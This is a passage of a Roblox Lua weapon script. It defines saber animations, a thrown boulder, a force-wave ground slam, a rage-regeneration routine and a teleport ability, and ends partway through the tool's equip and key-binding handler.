				H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
				wait()
			end
			Sound(Sounds.SaberHit,1,1)
			Sound(Sounds.SaberLightUp,2,0.5)
			H1w.Part0 = La
			H1w.Part1 = H1
			H2w.Part0 = Ra
			H2w.Part1 = H2
			H2w.C1 = ca(mr(-90),0,0)
			for i=i1,i2,is*Speed do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
				H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
				LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
				LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
				RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
				RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
				wait()
			end
			Anim.Act = false
		end
		Anims.ChangeToSingle = function(i1,i2,is)
			Anim.Act = true
			for i=i2,i1,-is*Speed do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
				H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
				LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
				LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
				RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
				RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
				wait()
			end
			H1w.Part0 = Ra
			H1w.Part1 = H1
			H2w.Part0 = H1
			H2w.Part1 = H2
			H2w.C1 = ca(0,0,0)
			H2w.C0 = cf(0,-0.8,0) *ca(mr(180),0,0)
			Sound(Sounds.SaberLightUp,2,0.5)
			Sound(Sounds.SaberHit,1,1)
			for i=i2,i1,-is*Speed do
				H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
				wait()
			end
			Anim.Act = false
		end
		Anims.RotorBlade = function(i1,i2,is,RaigCost)
			local lolpos = (Torso.Position - mouse.hit.p).unit
			local allx = (lolpos.y*80)-10
			local ally = (((mouse.X-(mouse.ViewSizeX/2))/mouse.ViewSizeX)*1.8)*-90
			Anim.Act = true
			for i=i1,i2,is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
				Torw.C1 = ca(0,mr(-90*i),0)
				wait()
			end
			DebounceSpeed = DebounceSpeed - (0.5*Speed)
			Hum.WalkSpeed = Hum.WalkSpeed + (8*Speed)
			Left = true
			Right = true
			Dash(Blad1,2/Speed,nil,2)
			Dash(Blad2,2/Speed,nil,2)
			H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
			local soundtime = 0
			for i=i1,i2*4,is do
				if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(360*i),0)
				wait()
			end
			H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
			DebounceSpeed = DebounceSpeed + (0.5*Speed)
			Hum.WalkSpeed = Hum.WalkSpeed - (8*Speed)
			Left = false
			Right = false
			for i=i2,i1,-is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
				Torw.C1 = ca(0,mr(-90*i),0)
				wait()
			end
			Torw.C1 = ca(0,0,0)
			Anim.Act = false
		end
		-------
		Anims.Boomerang = function(i1,i2,is,RaigCost)
			MinusRage(RaigCost)
			local lolpos = (Head.Position - mouse.hit.p).unit
			local allx = (lolpos.y*80)-10
			Anim.Act = true
			for i=i1,i2,is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
				Torw.C1 = ca(0,mr(-60*i),0)
				H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
				wait()
			end
			DebounceSpeed = DebounceSpeed - (0.5*Speed)
			Left = true
			Right = true
			Dash(Blad1,3.8/Speed,nil,2)
			Dash(Blad2,3.8/Speed,nil,2)
			H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
			local soundtime = 0
			for i=i1,i2,is/2 do
				if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
				H1w.C0 = cf(10*i,-1.1+(-15*i),0) *ca(mr(90),mr(720*i),0)
				wait()
			end
			for i=i1,i2,is/2 do
				if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
				H1w.C0 = cf(10+(-20*i),-16.1,0) *ca(mr(90),mr(720*i),0)
				wait()
			end
			for i=i1,i2,is/2 do
				if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
				H1w.C0 = cf(-10+(10*i),-16.1+(15*i),0) *ca(mr(90),mr(720*i),0)
				wait()
			end
			H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
			DebounceSpeed = DebounceSpeed + (0.5*Speed)
			Left = false
			Right = false
			for i=i2,i1,-is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
				Torw.C1 = ca(0,mr(-60*i),0)
				H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
				wait()
			end
			Torw.C1 = ca(0,0,0)
			Anim.Act = false
		end
		Anims.BoulderForce = function(i1,i2,is,RaigCost)
			MinusRage(RaigCost)
			Anim.Act = true
			for i=i1,i2,is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
				Torw.C1 = ca(0,mr(50*i),0)
				wait()
			end
			local bould = p(workspace,"Block",4,4,8,true,true,0,0,"Medium stone grey") bould.Name = "Boulder" bould.Material = "Concrete"
			local rm = RockMesh:Clone() rm.Scale = Vector3.new(3,3,4.8) rm.Parent = bould
			bould.Elasticity = 0 bould.Friction = 2 bould.CFrame = cf(Torso.Position.x+(math.random(-14,14)),Torso.Position.y-5,Torso.Position.z+(math.random(-14,14))) *CFrame.Angles(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/10)
			local warpdes = true
			local bpos = bould.Position
			Sound(Sounds.Cast,0.95,0.8)
			coroutine.resume(coroutine.create(function() repeat Functions.BrickWarpDesign(bould,9) wait() until warpdes == false end))
			for i=0,1,0.08 do bould.CFrame = CFrame.new(bpos.x,bpos.y,bpos.z) + Vector3.new(0,20*i,0) wait() end wait(1) bould.CFrame = CFrame.new(bpos.x,bpos.y+20,bpos.z) bould.CFrame = cf(bould.Position,mouse.hit.p)
			bould.Anchored = false wait() bould.Velocity = bould.CFrame.lookVector *(math.random(180,350)) bould.Touched:connect(function(hit) Functions.BoulderTouch(hit,bould) end)
			wait(0.5)
			warpdes = false
			game.Debris:AddItem(bould,10)
			for i=i2,i1,-is do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
				Torw.C1 = ca(0,mr(50*i),0)
				wait()
			end
			Torw.C1 = ca(0,0,0)
			Anim.Act = false
		end
		Anims.ForceWave = function(i1,i2,is,RaigCost)
			local Hit, hitpos = rayCast(Torso.Position,((Torso.Position - Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
			if Hit == nil then Anim.Act = false return end
			MinusRage(RaigCost)
			Anim.Act = true
			lh2,rh2 = FeetWeld(true,Lh,Rh)
			local bp2 = Instance.new("BodyPosition",Torso)
			bp2.maxForce = Vector3.new(0,math.huge,0)
			Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
			DebounceSpeed = DebounceSpeed + (1.1*Speed)
			bp2.position = Torso.Position + Vector3.new(0,25,0)
			Dash(Blad1,2.5/Speed)
			Dash(Blad2,2.5/Speed)
			local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0,BladeColor) wav.Anchored = true
			local wavm = BlastMesh:Clone()
			wavm.Parent = wav
			wavm.Scale = Vector3.new(15,6,15)
			local cff = Torso.CFrame - Vector3.new(0,0,0)
			coroutine.resume(coroutine.create(function()
				Dash(Blad1,4/Speed)
				Dash(Blad2,4/Speed)
				for i=i1,i2,is*Speed do
					LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
					LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
					RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
					RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
					lh2.C1 = ca(mr(30*i),0,mr(15*i))
					rh2.C1 = ca(mr(30*i),0,mr(-15*i))
					lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
					rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
					H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
					H1w.C1 = ca(mr(-90+(40*i)),0,0)
					wait()
				end for i=i1,i2*3,is*Speed do H1w.C1 = ca(mr(-50),mr(360*i),0) wait() end end)) Sound(Sounds.Cast,0.45,1) for i=i1,i2*5,is do Functions.BrickWarpDesign(Torso,13) wav.CFrame = cff *ca(0,mr(180*i),0) wait() end
			for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end wav:Remove()
			for i=i2,i1,-is*Speed do
				LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
				LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
				RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
				RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
				lh2.C1 = ca(mr(30*i),0,mr(15*i))
				rh2.C1 = ca(mr(30*i),0,mr(-15*i))
				lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
				rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
				H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
				H1w.C1 = ca(mr(-90+(40*i)),0,0)
				wait()
			end
			bp2:Remove()
			local bg = Instance.new("BodyGyro",Torso) bg.maxTorque = Vector3.new(math.huge,0,math.huge)
			local bp = Instance.new("BodyPosition",Torso) bp.position = Torso.Position bp.maxForce = Vector3.new(math.huge,1000000,math.huge)
			rpos = math.abs(hitpos.y - Torso.Position.y)
			rpos = rpos - 1.2
			local tpos = Torso.Position
			Hum.WalkSpeed = 0
			Hum.PlatformStand = true
			Dash(Blad2,1.6/Speed,RingMesh.MeshId)
			for i=i1,i2,is do
				bp.position = tpos - Vector3.new(0,rpos*i,0)
				Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
				Torw.C1 = ca(mr(20*i),0,0)
				Torw.C0 = cf(0,-0.2*i,-0.2*i)
				lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
				rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
				LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
				LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
				RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
				RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
				H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
				wait()
			end
			wait(0.25)
			Sound(Sounds.Boom,0.5,1)
			Sound(Sounds.EnergyBlast,0.9,1)
			Right = true
			ShockWave(Torso,50,BladeColor)
			wait(1.5)
			Right = false
			local t2pos = Torso.Position
			for i=i2,i1,-is do
				bp.position = t2pos - Vector3.new(0,1.5-(1.5*i),0)
				Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
				Torw.C1 = ca(mr(20*i),0,0)
				Torw.C0 = cf(0,-0.2*i,-0.2*i)
				lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
				rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
				LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
				LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
				RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
				RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
				H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
				wait()
			end
			DebounceSpeed = DebounceSpeed - (1.1*Speed)
			bp:Remove()
			bg:Remove()
			Hum.PlatformStand = false
			Hum.WalkSpeed = RealSpeed
			Torw.C1 = ca(0,0,0)
			Anim.Act = false
			Lh,Rh = FeetWeld(false,lh2,rh2)
		end
		Anims.DualSpin = function(i1,i2,is,RaigCost)
			MinusRage(RaigCost)
			Anim.Act = true
			for i=i1,i2,is*Speed do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-(60*i)),0,mr(0*i))
				H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-30*i)),0,0)
				LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
				LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
				RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
				RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
				wait()
			end
			DebounceSpeed = DebounceSpeed - (0.5*Speed) Right = true Left = true Dash(Blad1,2.6/Speed,nil,2) Dash(Blad2,2.6/Speed,nil,2) local x,y,z = Neck.C0:toEulerAnglesXYZ()
			local soundtime = 0
			for i=i1,i2*4,is*Speed do if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end Torw.C1 = ca(0,mr(i*360),0) Neck.C0 = cf(0,1,0) *ca(x,y,z+mr(-360*i)) wait() end Neck.C0 = cf(0,1,0) *ca(x,y,z)Torw.C1 = ca(0,0,0)
			DebounceSpeed = DebounceSpeed + (0.5*Speed) for i=i2,i1,-is*Speed do
				H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-(60*i)),0,mr(0*i))
				H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-30*i)),0,0)
				LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
				LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
				RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
				RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
				wait()
			end Right = false Left = false
			Anim.Act = false
		end
	
		----------------------------
		----------------------------
		----------------------------
		----------------------------
	
		Lh = Torso["Left Hip"]
		Rh = Torso["Right Hip"]
	
		Functions = {}
		Functions.BoulderTouch = function(hit2,bould)
			print(bould.Name)
			for i,v in pairs(workspace:GetChildren()) do
				if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and v:findFirstChild("Humanoid") ~= nil then
					if math.abs((v.Torso.Position-bould.Position).magnitude) < 11 and ft(RightDebounce,v.Name) == nil then
						Sound(Sounds.Smash,1,1)
						Dmgz(v.Humanoid,Damage["BoulderForce"])
						table.insert(RightDebounce,v.Name)
						print(v.Name)
						coroutine.resume(coroutine.create(function()wait(DebounceSpeed) local nf = ft(RightDebounce,v.Name) if nf ~= nil then table.remove(RightDebounce,nf) end end))
					end
				else
					if v ~= bould and v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-bould.Position).magnitude) < 11 then v:BreakJoints() v.Velocity = cf(bould.Position,v.Position).lookVector*10 + Vector3.new(0,10,0) end
				end
			end -- for
		end
		Functions.Sparkle = function(bb,scal,si)
			if si == nil then si = 1 end
			local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-scal,scal),math.random(-scal,scal))
			local np = p(Torm,"Block",0.1,0.1,0.1,false,true,0.1,0.2,BladeColor)
			np.CFrame = cf(rand.x,rand.y,rand.z) *ca(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/10)
			local dm = DiamondMesh:Clone() dm.Scale = Vector3.new(0,0,0) dm.Parent = np
			coroutine.resume(coroutine.create(function()
				for i=0,1*si,0.1*si do
					dm.Scale = Vector3.new(1*i,1.25*i,1*i)
					wait()
				end
			end))
			coroutine.resume(coroutine.create(function()
				wait(0.1)
				for i=0,1,0.1 do
					np.Transparency = i
					wait()
				end
				np:Remove()
			end))
		end
		Functions.BrickWarpDesign = function(bb,scal)
			local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-scal,scal),math.random(-scal,scal))
			local mag = (rand - bb.Position).magnitude
			local np = p(Torm,"Block",0.1,0.1,mag-3,false,true,0.1,0.2,BladeColor)
			np.CFrame = cf(bb.Position,rand)
			np.CFrame = np.CFrame + np.CFrame.lookVector*((scal/5)+(mag/2))
			coroutine.resume(coroutine.create(function()
				for i=0.1,1,0.05 do
					np.Transparency = i
					wait()
				end
				np:Remove()
			end))
		end
		Functions.RageRegen = function()
			local lostcontrol = false
			local hpos = Torso.Position.y + 10
			Anim.Move = "RageRegening"
			Anim.Act = true
			local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,1,0,BladeColor) wav.Anchored = true
			local wavm = BlastMesh:Clone()
			wavm.Parent = wav
			local wavv = 0
			wavm.Scale = Vector3.new(5,3.5,5)
			wav.CFrame = cf((Torso.CFrame * CFrame.new(0,-2.5,0)).p) *ca(0,mr(wavv),0)
			local bp = Instance.new("BodyPosition",Torso)
			bp.maxForce = Vector3.new(0,math.huge,0)
			Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
			bp.position = Torso.Position + Vector3.new(0,10,0)
			local bpos = bp.position
			coroutine.resume(coroutine.create(function()
				lh2,rh2 = FeetWeld(true,Lh,Rh)
				if SwordType == "Single" then
					for i=0,1,0.1*Speed do
						LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
						LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
						RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
						RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
						lh2.C1 = ca(mr(30*i),0,mr(15*i))
						rh2.C1 = ca(mr(30*i),0,mr(-15*i))
						lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
						rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
						wait()
					end
				else
					for i=0,1,0.1*Speed do
						LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
						LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
						RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
						RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
						lh2.C1 = ca(mr(30*i),0,mr(15*i))
						rh2.C1 = ca(mr(30*i),0,mr(-15*i))
						lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
						rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
						wait()
					end
				end
				local function movezx(i1,i2,is,bp)
					if SwordType == "Single" then
						for i=i1,i2,is*Speed do
							LW.C1 = ca(mr(-120+(20*i)),0,0)
							LW.C0 = cf(0,0.8,0.7) *ca(0,mr(120+(20*i)),0)
							RW.C1 = ca(mr(-120+(20*i)),0,0)
							RW.C0 = cf(0,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
							lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
							rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
							lh2.C0 = cf(-0.7,-1.9,0.35)
							rh2.C0 = cf(0.7,-1.9,0.35)
							bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
							wait()
						end
					else
						for i=i1,i2,is*Speed do
							LW.C1 = ca(mr(-110),mr(0),0)
							LW.C0 = cf(-0.1,0.8,0.7) *ca(0,mr(120+(20*i)),0)
							RW.C1 = ca(mr(-110),mr(0),0)
							RW.C0 = cf(0.1,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
							lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
							rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
							lh2.C0 = cf(-0.7,-1.9,0.35)
							rh2.C0 = cf(0.7,-1.9,0.35)
							bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
							wait()
						end
					end
				end
				local moved = 2
				repeat
					if Rage >= MaxRage or Anim.key.z == false then break end
					if moved == 2 then moved = 1 movezx(0,1,0.025,bp) else moved = 2 movezx(1,0,-0.025,bp) end
				until Rage >= MaxRage or Anim.key.z == false or lostcontrol == true
				if SwordType == "Single" then
					for i=1,0,-0.1*Speed do
						LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
						LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
						RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
						RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
						lh2.C1 = ca(mr(30*i),0,mr(15*i))
						rh2.C1 = ca(mr(30*i),0,mr(-15*i))
						lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
						rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
						wait()
					end
				else
					for i=1,0,-0.1*Speed do
						LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
						LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
						RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
						RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
						lh2.C1 = ca(mr(30*i),0,mr(15*i))
						rh2.C1 = ca(mr(30*i),0,mr(-15*i))
						lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
						rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
						wait()
					end
				end
				Lh,Rh = FeetWeld(false,lh2,rh2)
				wait(0.6)
				Anim.Act = false
				Anim.Move = "None"
			end))
			for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end
			rpos = 0
			Sound(Sounds.Cast,0.8,1)
			repeat wait()
				local Hit, hitpos = rayCast(Torso.Position,((Torso.Position - Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
				if Hit == nil then lostcontrol = true break end
				hpos = hitpos.y if math.random(1,6) == 4 then Functions.Sparkle(Torso,8) end
				if math.random(1,3) == 3 then Functions.BrickWarpDesign(Torso,10) end wavv = wavv + 10 Rage = Rage - (RageCost["RageRegening"]*RageIncome)
				wav.CFrame = cf(Torso.Position.x,hpos+1.4,Torso.Position.z) *ca(0,mr(wavv),0)
			until Rage >= MaxRage or Anim.key.z == false
			for i=0.3,01,0.14*Speed do wav.Transparency = i wait() end wav:Remove()
			bp:Remove()
			Humanoid.WalkSpeed = Humanoid.WalkSpeed + (RealSpeed-4)
		end
		Functions.Teleport = function(i1,i2,is,RaigCost)
			Anim.Act = true
			for i=i1,i2,is*Speed do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
				Torw.C1 = ca(0,mr(50*i),0)
				wait()
			end
			local tele = false
			local tele2 = false -- for mouse
			local mouseact = mouse.Button1Up:connect(function() tele2 = true end)
			coroutine.resume(coroutine.create(function() Sound(Sounds.Cast,1.2,1) wait(12) tele = true end))
			local telepos = Torso.Position
			local telehit = nil
			local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0.1,BladeColor) wav.Anchored = true
			local wavm = BlastMesh:Clone()
			wavm.Parent = wav
			local wavv = 0
			wavm.Scale = Vector3.new(3.5,2,3.5)
			repeat
				local mpos = mouse.hit.p + Vector3.new(0,2,0)
				telehit,telepos = rayCast(mpos,((mpos - Vector3.new(0,10000,0)) - mpos),999.999,Player.Character)
				wavv = wavv + 8 Functions.Sparkle(La,3) Functions.BrickWarpDesign(La,4)
				if telehit ~= nil then wav.Transparency = 0 wav.CFrame = cf(telepos.x,telepos.y+1,telepos.z) *ca(0,mr(wavv),0) else wav.Transparency = 1 end
				wait() until tele == true or tele2 == true mouseact:disconnect()
			if telehit == nil or math.abs((Torso.Position - telepos).magnitude) > Props.MaxTeleDistance then
				Sound(Sounds.Punch,1,1) for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
				wav:Remove()
			else
				MinusRage(RaigCost)
				for i=1,10 do wait() Functions.Sparkle(Torso,5,3) Functions.BrickWarpDesign(Torso,6) end
				ShockWave(Torso,7,BladeColor)
				Torso.CFrame = wav.CFrame + Vector3.new(0,2.2,0) Sound(Sounds.EnergyBlast,1.2,0.6)
				ShockWave(Torso,7,BladeColor)
				for i=1,10 do wait() Functions.Sparkle(Torso,5,3) Functions.BrickWarpDesign(Torso,6) end
				for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
			end
			for i=i2,i1,-is*Speed do
				LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
				LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
				RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
				RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
				Torw.C1 = ca(0,mr(50*i),0)
				wait()
			end
			Anim.Act = false
		end
	
		--------------------------------------------------------------------------------------------------------------
		--------------------------------------------------------------------------------------------------------------
		--------------------------------------------------------------------------------------------------------------
		--------------------------------------------------------------------------------------------------------------
		bin.Selected:connect(function(mm)
			Mouse = mouse
			mouse = mm
			Torso["Left Hip"].Part0 = Tor
			Torso["Right Hip"].Part0 = Tor
			RS.Parent = nil
			LS.Parent = nil
			RW.Parent = Torso
			RW.Part0 = Fra
			RW.Part1 = Ra
			LW.Parent = Torso
			LW.Part0 = Fla
			LW.Part1 = La
			RW.C0 = CFrame.new(0,0,0) RW.C1 = CFrame.new(0,0,0)
			LW.C0 = CFrame.new(0,0,0) LW.C1 = CFrame.new(0,0,0)
			Anims.Equip(0,1,0.07*Speed)
			Anim.Equipped = true
			mouse.KeyDown:connect(function(key)
				key:lower()
				pcall(function() Anim.key[key:lower()] = true end)
